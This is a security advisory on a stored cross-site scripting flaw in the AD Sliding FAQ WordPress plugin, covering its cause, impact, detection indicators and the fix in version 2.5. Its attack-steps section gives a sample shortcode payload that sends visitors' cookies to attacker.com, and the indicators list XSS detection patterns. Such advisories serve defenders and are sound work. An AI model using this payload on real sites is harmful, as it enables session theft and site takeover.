CVE-2025-14122: 
WordPress vulnerability analysis and mitigation

CVE-2025-14122 is a Stored Cross-Site Scripting (XSS) vulnerability in the AD Sliding FAQ plugin for WordPress, affecting all versions up to and including 2.4. The flaw allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the sliding_faq shortcode, which execute whenever a user visits an affected page. It was disclosed on January 7, 2026, by Wordfence, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and stems from insufficient input sanitization and output escaping on user-supplied attributes passed to the sliding_faq shortcode in the plugin file any-sliding-faq.php (around line 205). An authenticated attacker with at least contributor-level WordPress access can craft a shortcode with a malicious JavaScript payload embedded in its attributes; because the plugin fails to sanitize or escape these values before rendering them in the page HTML, the script is stored server-side and executes in the browsers of any user who subsequently views the page. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond a victim visiting the injected page (Wordfence, Plugin Source).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session who visits a page containing the injected shortcode, potentially leading to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the scope is changed (S:C in the CVSS vector), the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Confidentiality and integrity are both assessed as low impact, with no direct availability impact, though chained attacks leveraging stolen admin sessions could escalate to full site compromise (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-14122. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on a target site running AD Sliding FAQ version 2.4 or earlier.
2. Create or edit a post/page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject malicious shortcode: Insert a sliding_faq shortcode with a crafted attribute containing a JavaScript payload, for example: [sliding_faq attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit or update the post/page so the malicious shortcode is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) loads the affected page, the unsanitized attribute is rendered into the HTML and the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts inserting sliding_faq shortcodes with unusual attribute values containing HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing sliding_faq shortcodes with attributes including <script>, javascript:, onerror=, onload=, or encoded variants (e.g., <script>).
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the sliding_faq shortcode, potentially carrying cookie or session data in query parameters.
• File System: Unexpected modifications to any-sliding-faq.php or other plugin files if an attacker escalated privileges post-XSS to plant a web shell.

Site administrators should update the AD Sliding FAQ plugin to version 2.5 or later, which addresses the insufficient sanitization and output escaping issues. If an immediate update is not possible, restricting contributor-level user registration and limiting who can publish content containing shortcodes can reduce exposure. Reviewing existing posts and pages for malicious sliding_faq shortcode attributes is also recommended as a post-incident check (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for January 5–11, 2026, noting it as a stored XSS issue requiring contributor access. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified for this CVE (Wordfence Weekly Report).